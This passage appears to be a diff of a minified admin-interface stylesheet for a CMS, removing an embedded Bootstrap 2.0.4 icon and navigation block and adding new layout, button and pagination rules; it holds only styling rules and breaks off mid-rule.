.langEdit{background:#fff;position:absolute;*left:0;*margin-top:28px;z-index:10}.x .langEdit ul{border-top:1px solid #ccc;border-left:1px solid #eee;border-right:1px solid #eee;margin:0}.x .langEdit li{padding:.5em 10px}.x .langEdit input[type=text]{width:220px;padding-right:40px}.x .langEdit label{left:15px!important}.x .langEdit .action{border:1px solid #eee;width:268px;padding:0 10px}.x .langEdit p,.x .langEdit .btnArea{white-space:normal}.x .langEdit .langList,.x .langEdit .langEditControls{box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135,strength=5)}.x .langEdit .langList{margin:0 -1px 0 0;display:none}.x .langEdit .langList li{white-space:nowrap;color:#ccc;width:270px}.x .langEdit .langList li span{display:inline-block;width:80px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;color:#767676}.x .langEdit .langList li a{display:inline-block;width:80px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.x .langEdit .langList li.active{background:url(../img/iconArrow.gif) no-repeat right -188px}.x .langEdit.showChild .langList{display:block}.x .langEdit .langInput{background:#fff}.x .langEdit .langInput h2{padding:5px 10px;margin:0 0 -1px 0;font-size:12px;font-weight:normal;color:#666;border:1px solid #eee;border-top-color:#ccc}.x .langEdit .langInput h2 strong{color:#000;font-size:14px}.x .langEdit.showChild .langInput{position:absolute;left:285px;top:0}.x .langEdit li.en input,.x .langEdit li.en textarea,.x .mLangEdit li.en textarea{background:url(../img/flag.us.gif) no-repeat 99% 5px}.x .langEdit li.ko input,.x .langEdit li.ko textarea,.x .mLangEdit li.ko textarea{background:url(../img/flag.kr.gif) no-repeat 99% 5px}.x .langEdit li.jp input,.x .langEdit li.jp textarea,.x .mLangEdit li.jp textarea{background:url(../img/flag.jp.gif) no-repeat 99% 5px}.x .langEdit li.fr input,.x .langEdit li.fr textarea,.x .mLangEdit li.fr textarea{background:url(../img/flag.fr.gif) no-repeat 99% 5px}.x .langEdit li.de input,.x .langEdit li.de textarea,.x .mLangEdit li.de textarea{background:url(../img/flag.de.gif) no-repeat 99% 5px}.x .langEdit li.ru input,.x .langEdit li.ru textarea,.x .mLangEdit li.ru textarea{background:url(../img/flag.ru.gif) no-repeat 99% 5px}.x .langEdit li.es input,.x .langEdit li.es textarea,.x .mLangEdit li.es textarea{background:url(../img/flag.es.gif) no-repeat 99% 5px}.x .langEdit li.tr input,.x .langEdit li.tr textarea,.x .mLangEdit li.tr textarea{background:url(../img/flag.tr.gif) no-repeat 99% 5px}.x .langEdit li.vi input,.x .langEdit li.vi textarea,.x .mLangEdit li.vi textarea{background:url(../img/flag.vn.gif) no-repeat 99% 5px}.x .langEdit li.mn input,.x .langEdit li.mn textarea,.x .mLangEdit li.mn textarea{background:url(../img/flag.mn.gif) no-repeat 99% 5px}.x .langEdit li.zh-CN input,.x .langEdit li.zh-CN textarea,.x .mLangEdit li.zh-CN textarea{background:url(../img/flag.cn.gif) no-repeat 99% 5px}.x .langEdit li.zh-TW input,.x .langEdit li.zh-TW textarea,.x .mLangEdit li.zh-TW textarea{background:url(../img/flag.tw.gif) no-repeat 99% 5px}.x .mLangEdit.en strong{background:url(../img/flag.us.gif) no-repeat 0 10px}.x .mLangEdit.ko strong{background:url(../img/flag.kr.gif) no-repeat 0 10px}.x .mLangEdit.jp strong{background:url(../img/flag.jp.gif) no-repeat 0 10px}.x .mLangEdit.fr strong{background:url(../img/flag.fr.gif) no-repeat 0 10px}.x .mLangEdit.de strong{background:url(../img/flag.de.gif) no-repeat 0 10px}.x .mLangEdit.ru strong{background:url(../img/flag.ru.gif) no-repeat 0 10px}.x .mLangEdit.es strong{background:url(../img/flag.es.gif) no-repeat 0 10px}.x .mLangEdit.tr strong{background:url(../img/flag.tr.gif) no-repeat 0 10px}.x .mLangEdit.vi strong{background:url(../img/flag.vn.gif) no-repeat 0 10px}.x .mLangEdit.mn strong{background:url(../img/flag.mn.gif) no-repeat 0 10px}.x .mLangEdit.zh-CN strong{background:url(../img/flag.cn.gif) no-repeat 0 10px}.x .mLangEdit.zh-TW strong{background:url(../img/flag.tw.gif) no-repeat 0 10px}.x .mLangEdit ul ul{border:0}.x .mLangEdit li{position:relative;padding:0}.x .mLangEdit li strong{display:inline-block;padding:6px 100px 8px 24px;font-weight:normal;line-height:1.5}.x .mLangEdit li .side{position:absolute;top:8px;right:0;padding-right:18px;background:url(../img/iconArrow.gif) no-repeat right -160px}.x .mLangEdit li li{border:0;padding-right:36px}.x .mLangEdit li textarea{width:100%;height:16px;padding-right:30px;resize:vertical;line-height:1.4}.x .mLangEdit li label{top:8px!important}.x .mLangEdit li.active{background:#fffdef}.x .mLangEdit li.active strong{font-weight:bold}.x .mLangEdit li.active .side{background-position:right -128px}.modal .mLangEdit ul{padding-bottom:1em}.modal .mLangEdit li{border:0;padding-right:36px}.x .suggestion{display:none;position:absolute;background:#fff;z-index:10;_height:200px;max-height:200px;overflow:auto;*left:0;*margin-top:28px;box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135,strength=5)}.x .suggestion ul{border-top:1px solid #ccc;border-left:1px solid #eee;border-right:1px solid #eee;margin:0}.x .suggestion li{padding:0}.x .suggestion li:last-child{border-bottom:0}.x .suggestion li button{border:0;background:#fff;text-align:left;width:288px;padding:2px 4px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.x .suggestion li button:hover,.x .suggestion li button:active,.x .suggestion li button:focus,.x .suggestion li button.active{background:#eee}.x #imageMark{right:0}.x .easyNav{position:relative;border:1px solid #e9e9e9;zoom:1}.x .easyNav:after{content:"";display:block;clear:both}.x .easyNav h2{font-size:16px}.x .easyNav .category{width:30%;float:left;margin:0 2em;display:inline}.x .easyNav .filter{position:absolute;top:0;right:0;margin:1em 2em;text-align:right}.x .easyList caption .side .text .hide,.x .easyList caption .side .details .show{display:none}.x .easyList caption .side .details .hide{display:inline}.x .easyList td p:first-child{margin:0}.x .easyList td p.update{background:#ffc;padding:.5em 1em;border:1px solid #fc9;border-left:0;border-right:0;text-align:center}.x .fontPreview{width:96%;border:1px solid #e9e9e9;zoom:1;padding:1em 2em;margin:.5em 0}.x #ftpSuggestion{background:#fff;box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135,strength=5)}.x #ftpSuggestion ul{border-left:1px solid #eee;border-right:1px solid #eee}.x #ftpSuggestion li{padding:0}.x #ftpSuggestion li button{border:0;background:#fff;text-align:left;width:288px}.x #ftpSuggestion li button:hover,.x #ftpSuggestion li button:active,.x #ftpSuggestion li button:focus{background:#eee}.x .thumbPreview li{position:relative;padding-left:10px;padding-right:10px}.x .thumbPreview li.active.highlight{background:#f9f9f9}.x .thumbPreview .prevToggle{position:absolute;top:8px;right:10px;line-height:16px;padding:0 18px 0 0;text-decoration:none;background:url(../img/iconArrow.gif) no-repeat right -32px}.x .thumbPreview li.active .prevToggle{background-position:right 0}.x .thumbPreview .a{border:0;margin:0;zoom:1}.x .thumbPreview .a:after{content:"";display:block;clear:both}.x .thumbPreview .i{float:left;vertical-align:top;margin:0 1em 1em 0;padding:0;border:0;zoom:1}.x .thumbPreview .i:after{content:"";display:block;clear:both}.x .thumbPreview .i .thumb{position:relative;width:124px;height:84px;padding:0;margin-bottom:3px;text-align:center;overflow:hidden;border:1px solid #ddd;display:block;cursor:pointer;background:#fff}.x .thumbPreview .i .thumb .frame{position:absolute;width:120px;height:80px;left:0;top:0;border:2px solid #fff;overflow:hidden}.x .thumbPreview .i .thumb img{width:120px;margin:0}.x .thumbPreview .i label{display:block;position:relative;top:0;left:2px;width:122px;height:1.1em;margin:0;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.x .thumbPreview .i input{display:none}.x .thumbPreview .i ul{display:none}.x .thumbPreview .selected .i{display:block;float:none}.x .thumbPreview .selected .i .thumb{float:left;width:186px;height:126px;margin:0 1em 0 0;border:2px solid #eee}.x .thumbPreview .selected .i .thumb .frame{width:180px;height:120px;border-width:3px}.x .thumbPreview li.active.highlight .selected .i .thumb{border-color:#5ea8f6}.x .thumbPreview .selected .i .thumb img{width:180px;position:relative}.x .thumbPreview li.active .selected .i .thumb img{z-index:auto}.x .thumbPreview .selected .i label{cursor:text}.x .thumbPreview .selected .i ul{display:block;list-style:none;border:0;margin:1em 0 1em 200px}.x .thumbPreview .selected .i li{border:0;padding:0;margin:0 0 .2em 0}.x .thumbPreview.jx .i label{display:inline;width:auto}.x .thumbPreview.jx .i.noDirection{display:none}.x .thumbPreview.jx .i input{display:inline}.x #skin .showAll{float:right;border:0;overflow:visible;padding:0 18px 0 0;cursor:pointer;color:#00f;background:url(../img/iconArrow.gif) no-repeat right -32px}.x #skin .showAll.hideAll{background-position:right 0}.x .fvOff,.x .fvOn{display:inline-block;width:16px;height:16px;overflow:hidden;text-indent:16px;background:transparent url(../img/iconFavorite.gif) no-repeat;border:0}.x .fvOn{background-position:0 -16px}.x .uDrag .wrap{position:relative;padding-left:20px}.x .uDrag li>.wrap{margin:0 0 0 8px}.x .uDrag .dragActive{background:#FFD}.x .uDrag .dragActive th,.x .uDrag .dragActive td{background:none!important}.x .uDrag .dragBtn{position:absolute;width:8px;height:100%;padding:0;overflow:hidden;background:url(../img/bgDragable.gif);top:1px;left:0;text-indent:12px;border:0;cursor:n-resize;white-space:nowrap}.x .faviconPreview{position:relative;padding:60px 0 0 200px;background:url(../img/bgFavicon.gif) no-repeat}.x .faviconPreview img{position:absolute}.x .faviconPreview .fn1{top:30px;left:12px}.x .faviconPreview .fn2{top:55px;left:68px}.x .mobiconPreview{position:relative;padding:252px 0 0 200px;background:url(../img/bgMobileTop.png) no-repeat}.x .mobiconPreview img{position:absolute;top:20px;left:10px}.x .mobiconPreview span{position:absolute;width:32px;text-align:center;top:52px;left:10px;color:#fff;font-size:9px}.x .textList{border:1px solid #ddd!important;line-height:1.5em;height:18.5em;overflow:auto}.x .textList li{border:0;padding:.25em 1em;height:1.5em;white-space:nowrap;overflow:hidden}.x .textList li:nth-child(even){background:#eee}.x .textList li a{float:right}.x .fileBox li{position:relative}.x .fileBox li img{max-width:100%}.x .fileBox .portlet ul{margin:1em;list-style:none;padding:0;border:0}.x .fileBox .portlet li{border-top:1px solid #ddd;border-bottom:0;padding:8px 0}.x .fileBox .side{position:absolute;top:8px;right:0}.x .desc.error{color:#f00}.x .desc.success{color:#080}.x a.iSetting{display:inline-block;width:16px;height:0;padding:16px 0 0 0;overflow:hidden;vertical-align:middle;background:url(../img/iconSetting.gif) no-repeat}.x a.cMenu{display:inline-block;width:16px;height:0;padding:16px 0 0 0;overflow:hidden;vertical-align:middle;background:url(../../../../common/img/icon.bubble.png) no-repeat}.x .sTog{float:right;border:0;background-color:transparent;width:28px;height:18px;opacity:.5;filter:alpha(opacity=50)}@media all and (max-width:860px){.x .header .account ul{padding-right:10px}.x .body{padding:1em 0 0 0}.x .content{float:none;margin-left:0}.x .lnb{float:none;width:auto;margin:1em 0;left:auto}.x .dashboard .portlet{float:none!important;width:auto!important;margin-right:0}.modal .fg,.wfsr .fg{width:auto}.x .easyNav .category{float:none;display:block;width:auto}.x .easyNav .filter{position:static}}.x h3.xeAdmin,.x h4.xeAdmin{position:relative;border-bottom-style:solid;border-bottom-color:#ccc;zoom:1}.x h3.xeAdmin{border-bottom-width:4px;font-size:24px}.x h4.xeAdmin{border-bottom-width:3px;font-size:20px}.x h5.xeAdmin{border-bottom-width:2px;font-size:16px}.x h6.xeAdmin{border-bottom-width:1px;font-size:12px}.x .adminSearch{margin:1em 0}.x .adminSearch fieldset{border:1px solid #ccc;margin:0;padding:.5em 1em}.x .localNavigation{padding:0;list-style:none}.x .localNavigation li{display:inline}.x .localNavigation li.on a{font-weight:bold;color:#333;text-decoration:none}.x .localNavigation li:before{content:"| "}.x .localNavigation li:first-child:before{content:""}.x .summary{margin:1em 0}.x .rowTable,.x .colTable,.x .crossTable{margin:1em 0;border:0;border-collapse:collapse;border-top:2px solid #ccc;width:100%}.x .rowTable caption,.x .colTable caption,.x .crossTable caption{font-weight:bold;text-align:left;line-height:22px;padding:5px 0}.x .rowTable caption:after,.x .colTable caption:after,.x .crossTable caption:after{content:"";display:block;clear:both}.x .rowTable caption a,.x .colTable caption a,.x .crossTable caption a{font-weight:normal}.x .rowTable caption em,.x .colTable caption em,.x .crossTable caption em{float:right;font-style:normal;font-weight:normal;color:#e00;margin-left:1em}.x .rowTable caption strong,.x .colTable caption strong,.x .crossTable caption strong{color:#e00}.x .rowTable caption .side,.x .colTable caption .side,.x .crossTable caption .side{float:right;font-weight:normal;margin-left:1em}.x .rowTable th,.x .rowTable td,.x .colTable th,.x .rowTable td,.x .crossTable th,.x .rowTable td{border:0;padding:8px;vertical-align:top;text-align:left;border-bottom:1px solid #ddd}.x .rowTable th,.x .colTable th,.x .crossTable th{background:#f8f8f8;white-space:nowrap}.x .rowTable thead th,.x .colTable thead th,.x .crossTable thead th{border-bottom:1px solid #999}.x .rowTable tfoot td,.x .colTable tfoot td,.x .crossTable tfoot td{font-weight:bold;background:#f8f8f8}.x .rowTable.even tbody tr:nth-of-type(even) td,.x .colTable.even tbody tr:nth-of-type(even) td,.x .crossTable.even tbody tr:nth-of-type(even) td{background-color:#fafafa}.x .rowTable td>input[type=text],.x .colTable td>input[type=text],.x .crossTable td>input[type=text]{margin:-1px 0 -3px 0!important;vertical-align:middle}.x .rowTable img,.x .colTable img,.x .crossTable img{vertical-align:middle}.x .rowTable .title,.x .colTable .title,.x .crossTable .title,.x .rowTable .text,.x .colTable .text,.x .crossTable .text{white-space:normal}.x .rowTable input[type=text],.x .colTable input[type=text],.x .crossTable input[type=text],.x .rowTable input[type=password],.x .colTable input[type=password],.x .crossTable input[type=password],.x .rowTable input[type=file],.x .colTable input[type=file],.x .crossTable input[type=file],.x .rowTable textarea,.x .colTable textarea,.x .crossTable textarea{position:relative;width:280px;margin:2px 0;border:1px solid #b7b7b7;border-right-color:#e1e1e1;border-bottom-color:#e1e1e1;background:transparent}.x .rowTable input[type=text],.x .colTable input[type=text],.x .crossTable input[type=text],.x .rowTable input[type=password],.x .colTable input[type=password],.x .crossTable input[type=password],.x .rowTable input[type=file],.x .colTable input[type=file],.x .crossTable input[type=file]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px}.x .clear:after{content:"";display:block;clear:both}.x .moduleSearchWindow{position:absolute;width:700px;z-index:100}.x .moduleSearchWindow,.moduleSearchWindow div{margin:0;padding:0;color:#2d2c2d;font-size:12px}.x .moduleSearchWindow h2{margin:0;padding:4px;height:24px;line-height:24px;background:#666;text-align:left;color:#fff;font-size:12px}.x .moduleSearchWindow .sectionDiv{position:relative;margin:0;background:#fff;border:1px solid}.x .moduleSearchWindow .siteList{float:left;width:295px}.x .moduleSearchWindow .highlight{background:yellow;color:red;font-style:italic}.x .moduleSearchWindow .moduleTypeList{margin-left:5px;float:left;width:200px}.x .moduleSearchWindow .moduleInstanceList{float:right;width:190px}.x .moduleSearchWindow ul{margin:0;padding:0;border:0}.x .moduleSearchWindow li{font-size:12px;border:0;border-bottom:1px solid #ccc;margin:0;padding:4px 4px;font-family:나눔고딕,NanumGothic,"맑은 고딕","Malgun Gothic",AppleGothic,돋움,Dotum,굴림,Gulim,sans-serif}.x .moduleSearchWindow li:hover,.moduleSearchWindow li.on{background:#eee;cursor:pointer}.x .moduleSearchWindow li div{margin:0;padding:0;display:inline-block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.x .moduleSearchWindow .siteList li div{width:270px}.x .moduleSearchWindow .siteListSearchBox{margin:0;padding:4px 0;height:24px;border-bottom:1px solid #888}.x .moduleSearchWindow .siteListSearchBoxBorder{margin-left:3px;height:22px;width:287px;border:1px solid #ccc}.x .moduleSearchWindow input.siteListSearchInput{margin:0;padding:0;position:relative;float:right;width:260px;margin-right:4px;border:0}.x .moduleSearchWindow .siteListSearchBox .searchImg{position:relative;float:left;margin-top:4px;margin-left:4px}.x .moduleSearchWindow .moduleTypeList li div{width:170px}.x .moduleSearchWindow .moduleInstanceList li div{width:190px}.x .moduleSearchWindow .moduleSearch_ok{float:right}.x .moduleSearchWindow select.moduleInstanceListSelect{width:100%} -/*! - * Bootstrap v2.0.4 - * - * Copyright 2012 Twitter, Inc - * Licensed under the Apache License v2.0 - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Designed and built with all the love in the world@twitter by@mdo and@fat. -*/ -[class^="icon-"],[class*=" icon-"]{display:inline-block;width:14px;height:14px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat}[class^="icon-"]:last-child,[class*=" icon-"]:last-child{*margin-left:0}.icon-white{background-image:url("../img/glyphicons-halflings-white.png")}.icon-glass{background-position:0 0}.icon-music{background-position:-24px 0}.icon-search{background-position:-48px 0}.icon-envelope{background-position:-72px 0}.icon-heart{background-position:-96px 0}.icon-star{background-position:-120px 0}.icon-star-empty{background-position:-144px 0}.icon-user{background-position:-168px 0}.icon-film{background-position:-192px 0}.icon-th-large{background-position:-216px 0}.icon-th{background-position:-240px 0}.icon-th-list{background-position:-264px 0}.icon-ok{background-position:-288px 0}.icon-remove{background-position:-312px 0}.icon-zoom-in{background-position:-336px 0}.icon-zoom-out{background-position:-360px 0}.icon-off{background-position:-384px 0}.icon-signal{background-position:-408px 0}.icon-cog{background-position:-432px 0}.icon-trash{background-position:-456px 0}.icon-home{background-position:0 -24px}.icon-file{background-position:-24px -24px}.icon-time{background-position:-48px -24px}.icon-road{background-position:-72px -24px}.icon-download-alt{background-position:-96px -24px}.icon-download{background-position:-120px -24px}.icon-upload{background-position:-144px -24px}.icon-inbox{background-position:-168px -24px}.icon-play-circle{background-position:-192px -24px}.icon-repeat{background-position:-216px -24px}.icon-refresh{background-position:-240px -24px}.icon-list-alt{background-position:-264px -24px}.icon-lock{background-position:-287px -24px}.icon-flag{background-position:-312px -24px}.icon-headphones{background-position:-336px -24px}.icon-volume-off{background-position:-360px -24px}.icon-volume-down{background-position:-384px -24px}.icon-volume-up{background-position:-408px -24px}.icon-qrcode{background-position:-432px -24px}.icon-barcode{background-position:-456px -24px}.icon-tag{background-position:0 -48px}.icon-tags{background-position:-25px -48px}.icon-book{background-position:-48px -48px}.icon-bookmark{background-position:-72px -48px}.icon-print{background-position:-96px -48px}.icon-camera{background-position:-120px -48px}.icon-font{background-position:-144px -48px}.icon-bold{background-position:-167px -48px}.icon-italic{background-position:-192px -48px}.icon-text-height{background-position:-216px -48px}.icon-text-width{background-position:-240px -48px}.icon-align-left{background-position:-264px -48px}.icon-align-center{background-position:-288px -48px}.icon-align-right{background-position:-312px -48px}.icon-align-justify{background-position:-336px -48px}.icon-list{background-position:-360px -48px}.icon-indent-left{background-position:-384px -48px}.icon-indent-right{background-position:-408px -48px}.icon-facetime-video{background-position:-432px -48px}.icon-picture{background-position:-456px -48px}.icon-pencil{background-position:0 -72px}.icon-map-marker{background-position:-24px -72px}.icon-adjust{background-position:-48px -72px}.icon-tint{background-position:-72px -72px}.icon-edit{background-position:-96px -72px}.icon-share{background-position:-120px -72px}.icon-check{background-position:-144px -72px}.icon-move{background-position:-168px -72px}.icon-step-backward{background-position:-192px -72px}.icon-fast-backward{background-position:-216px -72px}.icon-backward{background-position:-240px -72px}.icon-play{background-position:-264px -72px}.icon-pause{background-position:-288px -72px}.icon-stop{background-position:-312px -72px}.icon-forward{background-position:-336px -72px}.icon-fast-forward{background-position:-360px -72px}.icon-step-forward{background-position:-384px -72px}.icon-eject{background-position:-408px -72px}.icon-chevron-left{background-position:-432px -72px}.icon-chevron-right{background-position:-456px -72px}.icon-plus-sign{background-position:0 -96px}.icon-minus-sign{background-position:-24px -96px}.icon-remove-sign{background-position:-48px -96px}.icon-ok-sign{background-position:-72px -96px}.icon-question-sign{background-position:-96px -96px}.icon-info-sign{background-position:-120px -96px}.icon-screenshot{background-position:-144px -96px}.icon-remove-circle{background-position:-168px -96px}.icon-ok-circle{background-position:-192px -96px}.icon-ban-circle{background-position:-216px -96px}.icon-arrow-left{background-position:-240px -96px}.icon-arrow-right{background-position:-264px -96px}.icon-arrow-up{background-position:-289px -96px}.icon-arrow-down{background-position:-312px -96px}.icon-share-alt{background-position:-336px -96px}.icon-resize-full{background-position:-360px -96px}.icon-resize-small{background-position:-384px -96px}.icon-plus{background-position:-408px -96px}.icon-minus{background-position:-433px -96px}.icon-asterisk{background-position:-456px -96px}.icon-exclamation-sign{background-position:0 -120px}.icon-gift{background-position:-24px -120px}.icon-leaf{background-position:-48px -120px}.icon-fire{background-position:-72px -120px}.icon-eye-open{background-position:-96px -120px}.icon-eye-close{background-position:-120px -120px}.icon-warning-sign{background-position:-144px -120px}.icon-plane{background-position:-168px -120px}.icon-calendar{background-position:-192px -120px}.icon-random{background-position:-216px -120px}.icon-comment{background-position:-240px -120px}.icon-magnet{background-position:-264px -120px}.icon-chevron-up{background-position:-288px -120px}.icon-chevron-down{background-position:-313px -119px}.icon-retweet{background-position:-336px -120px}.icon-shopping-cart{background-position:-360px -120px}.icon-folder-close{background-position:-384px -120px}.icon-folder-open{background-position:-408px -120px}.icon-resize-vertical{background-position:-432px -119px}.icon-resize-horizontal{background-position:-456px -118px}.icon-hdd{background-position:0 -144px}.icon-bullhorn{background-position:-24px -144px}.icon-bell{background-position:-48px -144px}.icon-certificate{background-position:-72px -144px}.icon-thumbs-up{background-position:-96px -144px}.icon-thumbs-down{background-position:-120px -144px}.icon-hand-right{background-position:-144px -144px}.icon-hand-left{background-position:-168px -144px}.icon-hand-up{background-position:-192px -144px}.icon-hand-down{background-position:-216px -144px}.icon-circle-arrow-right{background-position:-240px -144px}.icon-circle-arrow-left{background-position:-264px -144px}.icon-circle-arrow-up{background-position:-288px -144px}.icon-circle-arrow-down{background-position:-312px -144px}.icon-globe{background-position:-336px -144px}.icon-wrench{background-position:-360px -144px}.icon-tasks{background-position:-384px -144px}.icon-filter{background-position:-408px -144px}.icon-briefcase{background-position:-432px -144px}.icon-fullscreen{background-position:-456px -144px}.nav{margin-bottom:18px;margin-left:0;list-style:none}.nav>li>a{display:block}.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>.pull-right{float:right}.nav .nav-header{display:block;padding:3px 15px;font-weight:bold;line-height:18px;text-shadow:0 1px 0 rgba(255,255,255,0.5);text-transform:uppercase}.nav li+.nav-header{margin-top:9px}.nav-list{padding-right:15px;padding-left:15px;margin-bottom:0}.nav-list>li>a,.nav-list .nav-header{margin-right:-15px;margin-left:-15px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.nav-list>li>a{padding:3px 15px}.nav-list>.active>a,.nav-list>.active>a:hover{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.2);background-color:#08c}.nav-list [class^="icon-"]{margin-right:2px}.nav-list .divider{*width:100%;height:1px;margin:8px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #fff}.nav-tabs,.nav-pills{*zoom:1}.nav-tabs:before,.nav-pills:before,.nav-tabs:after,.nav-pills:after{display:table;content:""}.nav-tabs:after,.nav-pills:after{clear:both}.nav-tabs>li,.nav-pills>li{float:left}.nav-tabs>li>a,.nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{margin-bottom:-1px}.nav-tabs>li>a{padding-top:8px;padding-bottom:8px;line-height:18px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>.active>a,.nav-tabs>.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.nav-pills>.active>a,.nav-pills>.active>a:hover{color:#fff;background-color:#08c}.nav-stacked>li{float:none}.nav-stacked>li>a{margin-right:0}.nav-tabs.nav-stacked{border-bottom:0}.nav-tabs.nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.nav-tabs.nav-stacked>li:first-child>a{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.nav-tabs.nav-stacked>li:last-child>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.nav-tabs.nav-stacked>li>a:hover{z-index:2;border-color:#ddd}.nav-pills.nav-stacked>li>a{margin-bottom:3px}.nav-pills.nav-stacked>li:last-child>a{margin-bottom:1px}.nav-tabs .dropdown-menu{-webkit-border-radius:0 0 5px 5px;-moz-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px}.nav-pills .dropdown-menu{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.nav-tabs .dropdown-toggle .caret,.nav-pills .dropdown-toggle .caret{margin-top:6px;border-top-color:#08c;border-bottom-color:#08c}.nav-tabs .dropdown-toggle:hover .caret,.nav-pills .dropdown-toggle:hover .caret{border-top-color:#005580;border-bottom-color:#005580}.nav-tabs .active .dropdown-toggle .caret,.nav-pills .active .dropdown-toggle .caret{border-top-color:#333;border-bottom-color:#333}.nav>.dropdown.active>a:hover{color:#000;cursor:pointer}.nav-tabs .open .dropdown-toggle,.nav-pills .open .dropdown-toggle,.nav>li.dropdown.open.active>a:hover{color:#fff;background-color:#999;border-color:#999}.nav li.dropdown.open .caret,.nav li.dropdown.open.active .caret,.nav li.dropdown.open a:hover .caret{border-top-color:#fff;border-bottom-color:#fff;opacity:1;filter:alpha(opacity=100)}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #eee;border:1px solid rgba(0,0,0,0.05);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);box-shadow:inset 0 1px 1px rgba(0,0,0,0.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,0.15)}.well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +@charset "utf-8";html,body{min-height:100%}body{-webkit-text-size-adjust:none}body>.x:first-child{min-width:300px;max-width:1240px;margin:0 auto}body>.x,.x label,.x table,.x input,.x textarea,.x select,.x button{font-size:13px}.x strong,.x th{font-weight:600}.x em,.x dfn{font-style:normal}.x [disabled]{cursor:not-allowed}.x [hidden]{display:none}.x a[target="_blank"]:after{content:"";display:inline-block;width:14px;height:14px;vertical-align:middle;margin:-2px 0 0 2px;background-position:-120px -72px;opacity:.3;filter:alpha(opacity=30)}.x a[target="_blank"]:hover:after,.x a[target="_blank"]:focus:after{opacity:.7;filter:alpha(opacity=70)}.x mark{background-color:#FF0;color:#000}.x .x_page-header{margin-top:10px;padding-bottom:0;border-bottom:2px solid #ddd}.x .x_page-header>h1{position:relative;margin-bottom:0;font-size:24px;color:#333}.x .x_page-header>h1>.x_icon-question-sign{margin:0}.x .x_page-header>h1>.path+.x_icon-question-sign{margin:4px 0 0 0}.x .x_icon-question-sign{vertical-align:middle}.x h1,.x h2,.x h3,.x h4,.x h5,.x h6{line-height:1.5;font-weight:600;color:#666;text-rendering:auto}.x h1{font-size:22px}.x h2{font-size:18px}.x h3{font-size:14px}.x h4,.x h5,.x h6{font-size:12px}.x [class^="x_icon-"],.x [class*=" x_icon-"]{text-decoration:none;border:0;padding:0 0 0 14px;width:0;background-color:transparent;overflow:hidden;font-size:0}.x .x_close{width:32px;height:32px;font-size:17px;opacity:.5;filter:alpha(opacity=50)}.x .x_alert{position:relative}.x .x_alert>.x_close{position:absolute;top:0;right:0}.x .x_pagination{height:26px;margin:10px 0 0 0}.x .x_pagination ul>li>a,.x .x_pagination ul>li>span,.x .x_pagination ul>li>strong{line-height:24px;padding:0 8px}.x .x_pagination ul>.x_active>a,.x .x_pagination ul>.x_active>span,.x .x_pagination ul>.x_active>strong{line-height:26px;border:0;background-color:#333!important;color:#fff;font-weight:bold;font-size:18px;font-family:Arial,Helvetica,sans-serif;border-radius:2px}.x .x_pagination [id^="goTo"]{display:none;margin:0;padding:0}.x .x_pagination [id^="goTo"]>*{border:0;border-radius:0}.x .x_pagination [id^="goTo"]>[type="number"]{height:16px;line-height:16px;width:50px;text-align:center}.x .x_pagination [id^="goTo"]>[type="submit"]{line-height:24px;height:24px;padding:0 6px}.x .btn{color:#333}.x .x_btn{border-radius:2px;overflow:visible;font-size:14px;line-height:18px;padding:3px 9px;text-decoration:none!important}.x .x_btn-large{font-size:16px;padding:9px 14px;font-weight:bold}.x .x_btn-small{font-size:14px}.x .x_btn-mini{font-size:11px;padding:1px 6px;line-height:17px}.x .x_btn-link{padding:0;margin:0;overflow:visible;font-size:13px;border:0}.x .x_btn-group{zoom:1}.x .x_btn-group:after{content:"";display:block;clear:both}.x .x_btn-group>.x_btn{border-radius:0}.x .x_btn-group>.x_btn:last-child,.x .x_btn-group>.x_dropdown-toggle{border-top-right-radius:2px;border-bottom-right-radius:2px}.x .x_btn-group>.x_btn:first-child{border-bottom-left-radius:2px;border-top-left-radius:2px}.x .x_btn-group>.x_btn-inverse+.x_btn-inverse{border-left-color:#555}.x input[type="radio"],.x input[type="checkbox"]{margin:0}.x input[type="file"]{height:auto}.x td select,.x td textarea,.x td input{margin-bottom:0}.x [class*="x_icon-"]{opacity:.5;filter:alpha(opacity=50)}.x 